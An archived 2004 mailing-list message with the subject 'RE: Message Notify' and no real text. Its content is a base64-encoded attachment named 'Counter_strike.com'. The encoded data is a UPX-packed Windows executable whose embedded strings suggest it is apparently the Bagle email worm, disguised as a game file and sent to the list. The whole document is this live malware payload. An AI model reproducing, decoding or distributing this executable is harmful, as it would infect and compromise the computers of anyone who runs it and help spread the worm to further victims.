2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 09 Jun 2004 09:56:13 -0600 Subject: [Mapserver-users] RE: Message Notify Message-ID: ----------gsdzzthmeegylgzhuyjg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------gsdzzthmeegylgzhuyjg Content-Type: application/octet-stream; name="Counter_strike.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Counter_strike.com" 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 